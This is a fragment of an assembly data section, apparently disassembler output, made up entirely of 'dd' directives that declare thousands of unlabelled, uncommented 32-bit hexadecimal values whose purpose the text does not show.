dd 0A9002466h, 3670E7D0h, 0C0001602h, 0AF7112E6h, 0A6475Eh
dd 0CC9DAA06h, 26856945h, 17683Ch, 1FA09718h, 790DA5Fh
dd 0C1EEA674h, 0E74C002Bh, 0B301622h, 0D13CB8E8h, 0AAB2C034h
dd 0F144871h, 157D4F00h, 5EB055B6h, 0BEF0001Ah, 712DE6D0h
dd 230006E4h, 0B781BC83h, 2CD699Ah, 5ADE1FD2h, 4C686FB6h
dd 0D88B7C66h, 0E81FCE8h, 5FD2FB1Ch, 0BF741D9Fh, 83514100h
dd 69794DF5h, 0B30EEB04h, 0A8804604h, 0F4B087E6h, 112E005Eh
dd 73CBD347h, 50007427h, 0F9A87556h, 1E545A39h, 5DC3E18h
dd 0C0F12277h, 19307C6h, 0CD6D3200h, 3306AD26h, 0E15E00A6h
dd 46EC49E3h, 3500547Ah, 0DA088DF6h, 488BFADCh, 4780E0E7h
dd 2417AE5Fh, 1D85D00h, 0BED7167Ah, 9DE10042h, 6D7022EBh
dd 8538F427h, 64589E3Ch, 0B0F749h, 0D59AE5C8h, 8DC1004Fh
dd 27E19E46h, 0A21E9408h, 0DB80AF57h, 68696A8Eh, 0FF3E00F2h
dd 0F555B526h, 4814CC96h, 80592Dh, 0BB4AA4D8h, 770C0FBh
dd 120FF839h, 0B968F0ABh, 1A00F511h, 0BC95F3FCh, 72CE097Bh
dd 0D343003Bh, 6CCA0835h, 0A8FAD168h, 1C338413h, 0DDB8C400h
dd 0CC3D7186h, 78209E11h, 1034ED00h, 0DB11403Ah, 18695CE0h
dd 51C92909h, 0A4479820h, 7F070FB6h, 0F3EEE086h, 7E7D9630h
dd 0C1F7003Fh, 3401FACDh, 0E21856ACh, 8E6060CCh, 3C823F0Bh
dd 58766D80h, 0CB83E61Ah, 48174C00h, 0CC591866h, 9FA700EFh
dd 6AED2EDBh, 7D5822EEh, 171314CCh, 0B4010BCBh, 0E59B8023h
dd 9744DA0h, 5203BDCDh, 11657880h, 0CA017D72h, 2FF9601Dh
dd 746435A0h, 87610427h, 80B4E08Ah, 41A6B1D8h, 0D25F9904h
dd 608097EDh, 11AD375h, 8F7EBD8Ch, 400921EBh, 70C20EACh
dd 9EFD4B03h, 0B059ECB9h, 0C2753856h, 9D6D1CFCh, 55741CE0h
dd 0B00D6FCh, 0D8A762BAh, 207FC0Fh, 9C024FF3h, 0AC8112C5h
dd 76A34D2h, 2154C9B2h, 0F7898EF4h, 0FE03C880h, 72EB900Fh
dd 547B4097h, 2BDEAEDh, 983A31F1h, 6081FD36h, 40C43DE3h
dd 467283C4h, 259384Ch, 1536AC29h, 92EC40DAh, 78F0484Eh
dd 0C2A69B00h, 79CA732Ch, 5AFB8103h, 1F665507h, 40F9E790h
dd 51023D9h, 5D2431B2h, 803C3464h, 0ACE326C9h, 3793E41h
dd 4EABD295h, 0C13D395Eh, 0F0DF83B4h, 0EB5BE9h, 7A22D90h
dd 0ADA52814h, 9D8BF101h, 0D3EA77C2h, 76271E4h, 6DA7049h
dd 2A97604Eh, 773401Ah, 0A0568800h, 0CBA5E26Ch, 50FB0014h
dd 107C3C06h, 2A00BEDEh, 4FCE8C90h, 6F16B7h, 286618F5h
dd 40077FBCh, 0F21B6800h, 582E878Ch, 3E7700A9h, 0E237E884h
dd 0C0000DAEh, 18EE48EAh, 280714A3h, 806423h, 3AB367C5h
dd 5D8E7738h, 0EFA49A00h, 0D5B9F47Fh, 0D6520074h, 7514A961h
dd 4F00F165h, 0B1FECA3Eh, 0E7AB23h, 63F3092Ah, 31907085h
dd 47B40300h, 6817067Fh, 0D94D0071h, 4C5C97E5h, 0F8EFF488h
dd 8F00691Ch, 0D4BB10C3h, 0B87C5877h, 6C090058h, 0D579497Dh
dd 80070A03h, 44FBA5ECh, 0D8D01807h, 17AD0CE9h, 96381Dh
dd 0A522155Ch, 0AB3F4E6Dh, 0F3A98F45h, 142EE03Bh, 64E1FCh
dd 394AA502h, 9D5FD125h, 7D947000h, 0EC611123h, 0AF4B062Dh
dd 506BE8C3h, 6ACCD317h, 14FAE400h, 0E6672D52h, 0EE83055Eh
dd 80F51F82h, 2CD1BC08h, 561FC490h, 4D800A41h, 0E740971Ch
dd 31D0011Fh, 0ADF2C342h, 82F8F086h, 69DA0F00h, 9B373BFEh
dd 2CF4BA10h, 42C02A15h, 83006D82h, 0DDA738h, 2E07EED9h
dd 0D1C95F7Ah, 8C007E79h, 35E48801h, 965ADD4Eh, 0A7030970h
dd 0D5D18C10h, 75BF780h, 0B3D6939Ah, 71ED707Bh, 1B4C6B37h
dd 0FA430046h, 12840390h, 0B3C130E3h, 22B1E848h, 66D09101h
dd 86310D46h, 0B0946DD4h, 0F5C30E6Fh, 0A7C25143h, 20C45638h
dd 0EFDBD302h, 40C17D2Bh, 0A7FF15h, 22099863h, 235289FDh
dd 0BF58F800h, 0FEEA903Fh, 2C5C58C8h, 6DFF8A00h, 5855C920h
dd 6176701h, 644A7C69h, 27D5003Eh, 98AC7F02h, 3AF0D43Ch
dd 0ADEA80E6h, 6A827A53h, 2DA71D46h, 0B0B1C01Eh, 17AA24BFh
dd 893DF600h, 0DEF82108h, 0FD770012h, 0C3FB4513h, 47006925h
dd 0BB55C70h, 0B8A03A9h, 5276F27Fh, 85C56083h, 50ECF398h
dd 0D44A5100h, 0A065C49Dh, 4DCA0021h, 0C07D20E5h, 0B800B40Dh
dd 7A34DFB6h, 550A9Dh, 8E17374Fh, 0E9A7ECA1h, 7B54B001h
dd 0D768B813h, 159DA20h, 34693537h, 0D477112Fh, 0F03CC848h
dd 7E3E41h, 43FBACD1h, 50DFF1BEh, 33CF05Eh, 0AAA6B55Dh
dd 0CE853B1h, 0F2001C27h
dd 73C01ADDh, 98E770E8h, 0BCDE58E6h, 0A7987700h, 60651F29h
dd 3C01CBECh, 1EAF6EEDh, 0B07B4DEAh, 0CE00621Ah, 46E7C0F0h
dd 658009h, 51FD7679h, 0B3BFA732h, 0CFB1771Eh, 729F4440h
dd 12ADD9F5h, 603520h, 343B1894h, 0D200F20Eh, 9E4D5AD4h
dd 7A941D3h, 1974C723h, 62FA50E7h, 5300A74Ah, 69AA2512h
dd 590AEDDh, 295A0A0Eh, 0F97EC0DAh, 0B500D3E6h, 598A1575h
dd 0A0710C5Dh, 8DBC8h, 79B3D7D5h, 6C722E9Dh, 0A4236A00h
dd 8D2A0529h, 52BB0C02h, 0A3186BB3h, 65FA2804h, 55C1F0B9h
dd 94DCC6E6h, 9B712D2Ch, 0DA079458h, 0BD5135FFh, 0D836BA30h
dd 1CFA0274h, 531EE5Eh, 69E4EC60h, 1E16EF39h, 9380D3CDh
dd 4CF439F7h, 375E0F9h, 15E545C8h, 30000359h, 0AC26929Ch
dd 3C6C6388h, 0A8801960h, 8AF5C210h, 9B1675A2h, 22002E28h
dd 62AEE51Bh, 963C0031h, 0B5FFF1DBh, 9900B3E0h, 0C2B9C0D7h
dd 9EBEFDh, 0DAF9CC71h, 4619B4D6h, 0A7780700h, 0BD01866Ch
dd 405B008Eh, 32DBDFCAh, 0B801E47Bh, 23EDF878h, 5B70A334h
dd 8D8900A1h, 0FCE20438h, 0DD002CEEh, 4AAFAE13h, 388E9D1Ah
dd 279C1F91h, 94F540C1h, 2609A4BDh, 2B028600h, 0C8F13F80h
dd 0A9833A0Ch, 0B11C200h, 0C1780634h, 23285303h, 0DC028B16h
dd 76FE8E0h, 0CBBC80BDh, 4FEC252h, 72C1070h, 95092C9Ch
dd 0E60480DDh, 0F973E757h, 4DE0FC20h, 0F11E54D3h, 0D73D4044h
dd 72BD6403h, 11F62200h, 24959207h, 0F54404CBh, 0C3D49EE5h
dd 45B0C690h, 5D009B66h, 0E8EF4EE7h, 0BD7F26h, 8613564Ah
dd 10740C60h, 0D32BF305h, 0F8C24118h, 8018406Ah, 9570CAh
dd 338249ECh, 3BC11E10h, 53398F03h, 76873F8h, 1C77E228h
dd 0A0876917h, 0E8F350B6h, 4F01DD8Ch, 0B0822247h, 0FBFCB536h
dd 3A6D1E48h, 5EBB00C3h, 1205BC58h, 0D811A000h, 0EEFFD5F6h
dd 0E4AF12CEh, 5CBF00CBh, 9E372ED7h, 1F7F3100h, 244FA949h
dd 2BBC010Ah, 0A6DEAC5Fh, 8668CC63h, 0F0220B3Ch, 0CE371405h
dd 70C1EE49h, 40CC2CF6h, 746E0FD8h, 3720C325h, 5076098Ch
dd 0D7A4AA00h, 2BEE0D82h, 0BBB701BAh, 4DB0B5A8h, 0FEC041D3h
dd 47F0C44Ch, 4EF04267h, 0D8F9B113h, 2AC5A33Fh, 78E41FEFh
dd 7D4A009Fh, 35974F25h, 0A207FFD7h, 6BCBFCC0h, 38CF3750h
dd 16BCB4C7h, 6E703117h, 6B4A0071h, 6C4B8Ch, 72C95238h
dd 0F80669A2h, 5E84DE2Fh, 7660468h, 0C0DF6C30h, 4B51C618h
dd 0F2A7F40Eh, 29ED20D5h, 0FD9BA74h, 5BBE98D3h, 79A1FA00h
dd 8800594Ah, 0ECB18312h, 28A845h, 0DB24B287h, 6C49E44Eh
dd 9CF9C70Eh, 0E76E40A1h, 0EA0F853Ah, 60B00AEh, 5F787188h
dd 4E00FFD6h, 0BD1C132Fh, 90EE080Dh, 32C50038h, 1B460FEBh
dd 340031D8h, 0A7958805h, 0EE2854h, 8F117C09h, 5ABF4A1Dh
dd 7F804C01h, 0A8B47178h, 3F37A4E4h, 4600E33Fh, 90E6D9Ch
dd 9A1E8BB0h, 960BB882h, 8838A06Ch, 210131h, 56E5C9E4h
dd 0ADE6BE4Fh, 0C795CF05h, 94005B48h, 0D7C47E2Ah, 0E674B862h
dd 87A20086h, 6A44A6C3h, 0ED011CA1h, 0C59064Dh, 83E0E052h
dd 3FFD3BB6h, 35769B00h, 6C11815Eh, 0AAB43Bh, 0E3DC2FE9h
dd 0E2E049h, 0F936549Dh, 33D67C60h, 88FFE802h, 8021CD61h
dd 65C367F0h, 8FB01C50h, 6E9AC5C1h, 49BDC03Ch, 0D9007697h
dd 1C59F694h, 1B5F273h, 0D86E8881h, 0E4CDAB63h, 2600E1CAh
dd 0DC06A78Ch, 6025B4h, 0AD07E6C8h, 5BC07204h, 90142B13h
dd 5CC0811Dh, 0D102CF28h, 0E0DE000Fh, 8731A4FEh, 0C201550Bh
dd 3CA1F3E6h, 0E0D254CDh, 0F8193Ch, 0D4B991BBh, 2C27265Dh
dd 0EC823Ah, 0CBB469FEh, 17E6B8Ch, 267156D7h, 30D8A4D0h
dd 0CF00A319h, 0D25A272Ah, 172EE04h, 18EC530Bh, 7F9AACC5h
dd 0C4A0A680h, 544F1Ah, 3841DC88h, 0EC099B73h, 27CB1F15h
dd 23228924h, 0B210E13Eh, 9D36F8h, 71116795h, 0E088803Ah
dd 4A69F600h, 0A786B066h, 0CE910083h, 9BB6C167h, 705853DAh
dd 8C300CFh, 0B8CA483Fh, 4B1A002Bh, 0E2D6C58Fh, 7900D51Eh
dd 66CB7EABh, 507528h, 0E19A6AD0h, 916020DAh, 311EC48h
dd 300CBA9Bh, 0E2F89A3Dh, 8450E8h, 3EAF63C1h, 319A8334h
dd 0FBA09605h, 0DC25F5D3h, 10AD4C00h, 31D6171h, 0FAC6426Bh
dd 0B20027CDh, 4FEF0D25h, 9C7481h, 49AFFF35h, 5CB3067Fh
dd 37ED8D15h, 0D1530094h, 8E95FC2Eh, 7DBE0028h, 0CFAC550h
dd 6D7F70EEh, 0D0F3CE30h, 2EC360AFh, 787C868h, 307CBA6Fh
dd 0CC4DE3E5h, 58AC1200h, 0FB71181Fh, 185958D0h, 6CCE8E00h
dd 1ED4DF98h, 0CBAB5E00h, 70CD7CA9h, 0C5117B26h, 9051CC28h
dd 563A74A4h, 0FDF1AE00h, 368C769Dh, 6DD02C02h, 2EBA009Bh
dd 0A0B9E14h, 0E99B4300h, 8A3E957Ah, 0B8755C52h, 2890FD0Eh
dd 0F81610Ah, 1FE0A664h, 4338E951h, 0EC027E00h, 1D087F5Dh
dd 346B079Ch, 0A9E8A174h, 9BCAE000h, 202B724h, 26430522h
dd 489DE0BFh, 189FC64h, 662E0DBCh, 60322CF8h, 160063ADh
dd 0FBC5E025h, 33E5596h, 990AB9E1h, 98243F0Bh, 0C001E0D9h
dd 0FEC37E42h, 3F595464h, 10055DEh, 0AB535B84h, 8E1CBE42h
dd 80BF1752h, 0CE3A6920h, 94BDB3h, 546746C5h, 0A9845FC2h
dd 0EE0A290h, 5A90A60Ah, 8013E4B1h, 2E671C40h, 49158Fh
dd 2C75AECEh, 0DEBE607h, 0BF47D0A0h, 2D5E4002h, 0D2D2460Eh
dd 59550164h, 3FF7A96Eh, 0BA90605Ch, 0DC90FD7Eh, 0E7611000h
dd 94D5187Bh, 0BF141EAFh, 0A5FC0BD0h, 36D2B00h, 9C05FDBBh
dd 0DE0D76F7h, 0C546B9C0h, 0F10C07BFh, 0F0D19036h, 0C2CF8321h
dd 977F4000h, 41658834h, 43A60079h, 0EB5E6911h, 3026B3C1h
dd 20007456h, 97484BFDh, 48F4486Dh, 0C5C49D00h, 45BF1AE5h
dd 807C383Eh, 44A4BACEh, 78895BCh, 17A5D59h, 289E30F6h
dd 0EA1C2C79h, 4E81A14Dh, 0EBE71649h, 7CED4D0h, 0E15ACDB6h
dd 0FDEAC030h, 821ED6DFh, 0FCC0203Eh, 0ADC2A670h, 1EEC9628h
dd 0C908216Bh, 0F2F605D4h, 8E19C1BBh, 8F4C702Ch, 9682D902h
dd 6011D1BAh, 0A51516h, 0FB20314Ah, 1A7AFC9h, 0C8E2D000h
dd 9A03D556h, 0FCA900A0h, 3D28BC7Fh, 7C008720h, 0F3B7EE7Ah
dd 5A1AC691h, 52C40092h, 0F81FCDE8h, 3E044Ch, 0BD46FA33h
dd 1C7681Bh, 96759D25h, 0DC7A12A9h, 0F000E18Ch, 741658CAh
dd 28DD37h, 0AC59BDFAh, 39A5D57Eh, 0EE006DB8h, 241E1C0h
dd 7D2986E6h, 0D6D10FC6h, 3BC04D72h, 548967F3h, 47986E00h
dd 17620744h, 4FD6003Ah, 0BD88B518h, 4024AC80h, 0B1000830h
dd 0BEDEC424h, 0FFB4005Fh, 0B5CA8A1Bh, 0C14C6211h, 5E310007h
dd 93FC351Ah, 0A2330066h, 0C4E84A12h, 3A3DEDBDh, 0AB18843Ch
dd 0BCB0BA6Ch, 37DC3D59h, 0C2FAB103h, 0A3B02EC9h, 0AEA8DEAh
dd 0E5CA2250h, 68A7440Eh, 0E68FE9h, 3045242Dh, 0BEED0010h
dd 19B67614h, 0CD09C4FCh, 803FA897h, 24853B88h, 0E0D000E8h
dd 45EA432Fh, 8C94C666h, 5C2C0480h, 287CC9ADh, 1FCD920h
dd 0E1E27F4Dh, 0D86A79E8h, 0FD005064h, 4A22292Ch, 387288h
dd 0C93047CAh, 3D613F0h, 26A3F206h, 74E8C6h, 4B1EBA99h
dd 0EDB88554h, 87A63300h, 113FF5D1h, 3BF5BC6h, 0CC742D7Ch
dd 50E97FEBh, 0C1EC7C12h, 2C20655Eh, 3E0AD878h, 0FCA9DBh
dd 67CDCFF5h, 0EF0E1EB7h, 0E059AF8Eh, 0B181EC17h, 42D5053Eh
dd 0C0DFD3EEh, 0AAC3CCFDh, 38AE30Ah, 6800CC10h, 90F6B806h
dd 5F3472EBh, 8C82A0B4h
dd 0BB663A01h, 6A8BCF4Ch, 0AB90A180h, 69F8502h, 2EE22725h
dd 0BE80BFA4h, 0B219FDB7h, 159D1E7Ch, 79AA39EAh, 11030FC4h
dd 9A60E172h, 7B08C7E8h, 3EDC6E14h, 0C0EF08CCh, 44445AB8h
dd 5117FB7Ah, 3CC3F091h, 0C66CD874h, 0D89730E5h, 27F34DAh
dd 998B130Eh, 1000FC8Dh, 76E2CCE9h, 181700D4h, 2D7B700Ch
dd 4D008EB9h, 0AD893865h, 974AA8h, 2AF22823h, 0FEAC6FCEh
dd 10843A01h, 918B1457h, 6BE2FCh, 0CF1A95E1h, 3CDD549Eh
dd 0B6A0E700h, 0F944DED4h, 47E500A4h, 0EA8F7678h, 0EF25E26Ah
dd 0D08880D8h, 65869Eh, 0E58EA746h, 0CD33642Fh, 11C1960Eh
dd 0C4F4A01Ah, 0AD0529h, 0FA67B98Ch, 0B6EB9DDFh, 4A7A4C00h
dd 0CB98A00Eh, 901901EEh, 0C22DDBEAh, 9A6DF4E0h, 0B9F13F12h
dd 0C64FFC80h, 1D7C002Eh, 98FC95D8h, 7B001453h, 0F899D419h
dd 51BFE3Fh, 8278CB6Eh, 0E6A8406Ah, 688922B1h, 0B8D3002h
dd 60F6B5E3h, 8F0C30h, 0A2761879h, 0D0F29C4Dh, 0E5207400h
dd 0A8A7D7B0h, 86050033h, 82256A3Bh, 5A002917h, 61A456FAh
dd 243566h, 8F018E3Eh, 2279DF78h, 0A5BCA8C2h, 0C080EB60h
dd 30C418E5h, 0E208D6F6h, 287C1BEBh, 0C3F8D71Eh, 1E151101h
dd 2087E15Ch, 25B0A5DDh, 0D7200765h, 7A7ECE10h, 67612430h
dd 0B541320Ah, 147EBBE0h, 8BD3407h, 0D3BFE401h, 70C56002h
dd 9F038AEh, 2150B050h, 0C1815E74h, 0C55C5885h, 0A31471CDh
dd 0D3745099h, 0F20002ADh, 3F69D5B5h, 7124008h, 5D20C2B2h
dd 1A86C0ABh, 580F2B77h, 606A3C64h, 0AFF07BBh, 364100BAh
dd 35C819EDh, 0BE009025h, 0C249AD47h, 1CA9BFh, 4EABB72Ah
dd 4FAE938Dh, 55EC5E00h, 525D5BCCh, 6A560029h, 961A2C36h
dd 68ECA84Ah, 735EF8EDh, 2D3DBA72h, 32421CA3h, 0A0B0C780h
dd 39EB62h, 5A569C12h, 5F0352B8h, 4EAC5754h, 0F39B280Ch
dd 196A1169h, 0F85C0AD3h, 58CB20AAh, 2582E300h, 81F05E2h
dd 0C9270044h, 689E29E9h, 0E70085CEh, 9D5FD28Ch, 37E3606h
dd 0F61C65BEh, 9A80DEB6h, 2B7639EAh, 51B26800h, 636049E4h
dd 0CB825h, 0A0C608BBh, 8012666Ch, 87936150h, 1603B00Fh
dd 8BB86235h, 7F18E1EDh, 1F2B3DCh, 23257953h, 74E3B5AAh
dd 0ED01A2D0h, 0A3CF8A82h, 5D95563h, 1494830h, 4DF09283h
dd 0E82B1BC2h, 0E00ED4F3h, 0ECBEA94h, 583D20B3h, 18AB85h
dd 5D4C6D43h, 932D2F9Bh, 0D3B87202h, 50071A36h, 0A4520088h
dd 0C6EB13F7h, 6B739EB7h, 0BC4D8C2Ch, 0E9637E01h, 8C409B1Eh
dd 0E318CDh, 0AA04DA4Bh, 742EACC1h, 4FDCC000h, 0AF554EB6h
dd 88E007D5h, 6FEA9DE2h, 1B3B9A80h, 3600CBBBh, 0B8782B25h
dd 1DD79104h, 28140190h, 16600084h, 206D950Fh, 0C7001263h
dd 0BD8ACCC0h, 0E71A60Bh, 4F377D62h, 0DD409B63h, 0E4BCFCh
dd 42F3C736h, 1CC96BEh, 3DFDADDAh, 24B01FC4h, 45002200h
dd 0E2D6FA63h, 0FC28EDD3h, 77740070h, 6CC29DCCh, 7B00187Ch
dd 52F472C7h, 12A69B40h, 80F1C49Fh, 6B3CE180h, 69C62Fh
dd 972D4E44h, 0B6F4026Fh, 0C3BD373Ah, 38FC3448h, 9D8F9A02h
dd 8015699Fh, 55E1CD8Ch, 37FD017Ah, 38AE6548h, 9A7D7009h
dd 30548D09h, 0F67478EDh, 0BF230079h, 33FA0BE7h, 0E9039A83h
dd 70DE64B0h, 9B82CFD2h, 2C945C65h, 0AEB0027h, 88711E1Dh
dd 0FC9F5103h, 0E886C69Ah, 0C493C1h, 466223D6h, 48211A52h
dd 96A5F39h, 0D3900Ch, 0B8CB7E38h, 38EA00F7h, 9C60D420h
dd 6B065203h, 0DF2D6E1Ch, 4F250078h, 950B5987h, 0C7F630EFh
dd 66832400h, 0A60D8F2Eh, 8BD0A94h, 888B86Ch, 0D38077D5h
dd 454A3554h, 909478h, 8D4C3B7Ch, 3E0F640Eh, 407A0DC1h
dd 5DD8A425h, 41E2002Bh, 326265FAh, 8C004C2Fh, 73C07938h
dd 58552574h, 0C200BD5Ch, 9A80BAF7h, 0FE033A68h, 79BBEE19h
dd 0FB5FF8A9h, 2393006Dh, 73D4801Bh, 0C8A3AE66h, 0C1959088h
dd 2381F00h, 4871AC8Dh, 979C0013h, 4E1AB7CCh, 0E009547h
dd 451989E5h, 6EADCFh, 0EB2D50C1h, 0B5688E07h, 72DC7801h
dd 0F8F62806h, 4D313C20h, 0D92EACFCh, 34118008h, 126F0E8Bh
dd 8C80204Bh, 78D50C3h, 53C180B1h, 3D7F10B7h, 674BF0Bh
dd 31638B05h, 0E8F0868Ch, 2D98A0D2h, 7E7777B4h, 0D3F01FFBh
dd 0C0B0DD90h, 13417D7Ah, 0B200C43Fh, 9F0EE65Ch, 28D9ACh
dd 0CDF4260Bh, 0ECB58BCAh, 2CF6E700h, 7017FBAFh, 49302489h
dd 610006Ch, 7DF191C0h, 79517B01h, 66D50A78h, 423020h
dd 1DBA80F3h, 16FC6534h, 0A3583702h, 82D93B46h, 20BB8CF4h
dd 0E6CDF2A0h, 0C80095B0h, 0D68A1B97h, 3CC9BA62h, 558002BCh
dd 487BA374h, 0B19D1A2Fh, 5420CCF0h, 0AB500B74h, 6D80AEB7h
dd 93E7C46Ch, 0A900857Dh, 6A577AB0h, 733B4DEAh, 163000C6h
dd 9A48FD62h, 0CBE03C5Fh, 616E6F00h, 0E3569164h, 221A137Fh
dd 8E300A7h, 5A8303D6h, 14C6D005h, 7CC31F2Ch, 6B182E09h
dd 0E841037Ch, 6AC3D5F1h, 0A680C1E8h, 228D4701h, 0E96EF081h
dd 0E827A4F0h, 46520949h, 0C00C965h, 9343BE78h, 4C8F8E00h
dd 0BD980F33h, 0CB260158h, 80C7CE4Fh, 3774D410h, 1C637F00h
dd 0A4126B8Fh, 48E31C5h, 6D7EBCD8h, 99600494h, 98903A71h
dd 4B65AD38h, 0BC208031h, 4590C687h, 6E49FE07h, 0A370D0C7h
dd 70BAB6Ch, 93AC9B5Bh, 215C50E4h, 75134287h, 441CC36Eh
dd 8ED47081h, 0A4402AAFh, 1D0F93FBh, 0C013285Ch, 0F171B1D1h
dd 6EE64EFDh, 6FCA7900h, 6C46A7F3h, 3769009Bh, 0C25EF003h
dd 0BFE8D818h, 4D3360F5h, 0E39DE800h, 13038453h, 61660536h
dd 1E9F5D5h, 813DBAA6h, 0BBF084DDh, 330F5A5Fh, 0E5744500h
dd 11130904h, 6C00051Ch, 979A07CFh, 4AF27AA1h, 2860C874h
dd 0D8861B00h, 0DA2B9381h, 0A809009Fh, 72202304h, 8B00981Fh
dd 56716ABh, 0FE90BBE3h, 6C1700F4h, 3B065304h, 0CF00D6EFh
dd 49DC210Ch, 4C4B9874h, 0AA002CD8h, 8D1D3C6Dh, 0A7055CFBh
dd 0D65FA586h, 0C01620D0h, 107B0A79h, 7C46794h, 3939D782h
dd 0CCD1EC20h, 4C04A2F9h, 0C976D3ABh, 50D45080h, 25B009Eh
dd 0CFDE68C5h, 0D601069Ah, 0D80FB9FFh, 4CC08521h, 0EA260015h
dd 8AB30249h, 68F465A1h, 7E3ABF09h, 8C4800FAh, 22E516h
dd 595A9388h, 236C5F8h, 0B61E100h, 0C28C8F0Ah, 0B59C063Ch
dd 0A0CBABEDh, 5878B002h, 0C07A2D33h, 2B0AC4h, 0CC6645AAh
dd 0E1EF61E7h, 0BA774300h, 209E5C0Bh, 0CE7500A5h, 3CEE0227h
dd 6C01E4A9h, 0FB2F1E23h, 0BAD4AFBDh, 8C7D014Ch, 936105CDh
dd 6E9EC431h, 0E4C36B00h, 0D9FAB755h, 0BA65018Dh, 0E67574E5h
dd 0FC6421EAh, 61EACB92h, 4A50F007h, 0F3E0A268h, 0FF6A194h
dd 48173854h, 2E0959A1h, 34403B7Eh, 1852804Ch, 71BF005Ah
dd 0A2D92629h, 0D00CC5Dh, 0FF62FEF7h, 0E6EE4BA7h, 47210010h
dd 585A4D1Ah, 689E175Bh, 0A8F09913h, 566C39E6h, 911217F9h
dd 81248025h, 0C0E3F4A5h, 7100722Bh, 2FDC5F66h, 0B5E1C9h
dd 0D247D34Fh, 8619CF40h, 207CC31Fh, 0C234CAC0h, 16620488h
dd 0E91873h, 6E224448h, 0AF006054h, 35CCECC9h, 5C2FAB2h
dd 426D4781h, 26E4A0B4h, 2000137Fh, 0A1FA3956h, 1C78B6D4h
dd 0C03552F6h, 73CBD075h, 473AFBEFh, 0C32692F0h, 40A4FC00h
dd 0BC208D66h, 548A0068h, 0E2B2D95Ah, 27FC9812h, 615340C8h
dd 0C2C0116Bh, 0A5DAF008h, 4044974Bh, 8B4D2DFh, 0C64D078Fh
dd 412D8E58h, 8C1A5654h
dd 10458D18h, 843900CEh, 96D75F04h, 4B035DC9h, 1FCF3B5Eh
dd 5167D863h, 6F3C0007h, 9B4E8894h, 34BA3C2h, 0C4337800h
dd 0F7B0DF3Eh, 0F400502Dh, 74400C1Bh, 73DCAA7h, 24100027h
dd 0FEEDCF2h, 0B47713D7h, 3D5206E7h, 56009879h, 49669DA4h
dd 1E153EF4h, 96DA8133h, 3B4444B0h, 2080B2E1h, 0CF5F58ADh
dd 0DA547F00h, 2191232Fh, 0C6001870h, 82CA15C1h, 253EB64Dh
dd 7898AFA8h, 503E21F6h, 7AEB00C7h, 9EF5520Ah, 4ADE1DFCh
dd 8429C116h, 806E5C71h, 8E7F14B0h, 955573h, 0EBB0421Dh
dd 72FD43ECh, 18DC4A00h, 0E909B968h, 276C0283h, 8D311522h
dd 4EDB1040h, 0AF2A2100h, 9B36F0CFh, 29EC0776h, 605B59CCh
dd 2C48C334h, 0BC677100h, 5E8F2407h, 1F510031h, 13BE2818h
dd 0E93D46F5h, 35FDD0C5h, 0A306839h, 884C89CDh, 0FC61628Ah
dd 0E0DC7080h, 458A85Ch, 347F250Ah, 0AC39C0C7h, 6800481Fh
dd 0A2C68E5Dh, 2A5CF627h, 1B0C0F7h, 13BD95D6h, 71F96933h
dd 9FB2206Eh, 2BB1B424h, 0A6F63900h, 74A16DAFh, 20CA0C96h
dd 25788DE6h, 6050333Fh, 2EA1B160h, 8120C155h, 0B026CBEBh
dd 4E6AA118h, 0ED52008Dh, 5C42119Fh, 19F8ECAEh, 5823D424h
dd 0A8F5C681h, 0C5D08F01h, 1DA53DB0h, 2180E774h, 40A90D63h
dd 0E901B8E4h, 52BFC48Dh, 6883F254h, 0C5323B49h, 0DB59801Dh
dd 5203C1D0h, 0BA020728h, 5F1C8900h, 4C33879Dh, 3B66193Eh
dd 84BF0864h, 9D36FB21h, 93AFE6C0h, 0F4C90BD3h, 0D401845Ch
dd 40140ECEh, 6B7CE1A0h, 77716D0Eh, 182600C1h, 1C799E0h
dd 2C1272B9h, 30AB4FF3h, 0CD007E43h, 0C5698050h, 0EAD6D3h
dd 490B23B4h, 0F7F82D08h, 6FBC760Eh, 0EF534Eh, 0F5567F8Ah
dd 53794239h, 87C90800h, 2AE3B00Fh, 214900F2h, 848FCE86h
dd 7A5CA401h, 7F29005Fh, 7571F1A1h, 1B370053h, 0A044464Bh
dd 8D000FE0h, 0B82E4F49h, 99B63Ah, 0C2FB12BAh, 80229370h
dd 0ACAD7704h, 0ECC7308Fh, 2E86104Ch, 12CBE7Dh, 6591E38Bh
dd 0B1089853h, 662121h, 0C2FE1BBEh, 0A5B502CFh, 89267C00h
dd 0DFC8935Bh, 76FF19D4h, 0D3AD18E6h, 3A6F383Ch, 11A8B062h
dd 1D01F4Dh, 0B30C0EABh, 9B242682h, 98217908h, 0FDBD0F5h
dd 0D8466310h, 931CE027h, 5864D752h, 1D636050h, 1C0ED2FFh
dd 0E810AA31h, 0EA07D0F3h, 194E57B5h, 46AFD480h, 0AC81802h
dd 40A0A972h, 2A685800h, 0D40BE557h, 0A71807EFh, 0BFE45DFAh
dd 80CE9EA6h, 25478605h, 0AC1C3504h, 70C3D6Ch, 0D7497Eh
dd 0FC78A3DFh, 49682E1h, 0E908D263h, 412000A5h, 0A9C0A3B8h
dd 3F0F5612h, 81AD60BFh, 0C9772282h, 0CF4BD040h, 0EF590015h
dd 0D47E8AA4h, 10F81A55h, 0AB008DFEh, 739420A3h, 849B32h
dd 0A9ECC323h, 90D3EE83h, 0BB187500h, 2CE8CEF4h, 0BDD50002h
dd 43368B0Ch, 0E018FC0h, 73016CBCh, 0F7604749h, 0CAAD04B8h
dd 0C0754FB2h, 0F8C44AC8h, 40735C03h, 3E62C739h, 0D086311h
dd 0B3004E98h, 5BE2DFEAh, 407DC8h, 96A316B6h, 89287157h
dd 0ED8C96A0h, 75DB3800h, 0D9C89DC1h, 0EABF00E2h, 2266F657h
dd 731F86BCh, 0F1804546h, 27FE2447h, 8DF605h, 70939860h
dd 9C644ED1h, 773D0D00h, 62B9A8F6h, 0C4033C22h, 30071B87h
dd 0C181F0A1h, 9E00F052h, 1AEC4435h, 9D2E06Bh, 4A66583Fh
dd 0BD0DC601h, 7AA7DC29h, 9AD8503h, 87B9B0ACh, 9CE5EB00h
dd 348FE7Ch, 0CE23DF49h, 0D00006CBh, 4C38B35Ah, 0ECDC5EF1h
dd 2E4E0086h, 26BB0BECh, 5B006097h, 167FC394h, 3931BF1Eh
dd 36006977h, 4EE46AFAh, 430082A6h, 1B729C93h, 0E5C478h
dd 2937FFE2h, 0B610D45Dh, 0B4070B1Fh, 0A862F180h, 0A85A98CDh
dd 0AE1E94h, 0D5E2E16Ch, 0DD53057Eh, 0A1DEAD00h, 0C249CFD6h
dd 1D8310A5h, 710F1C28h, 23E25B40h, 289DFB3Dh, 0E0F97Dh
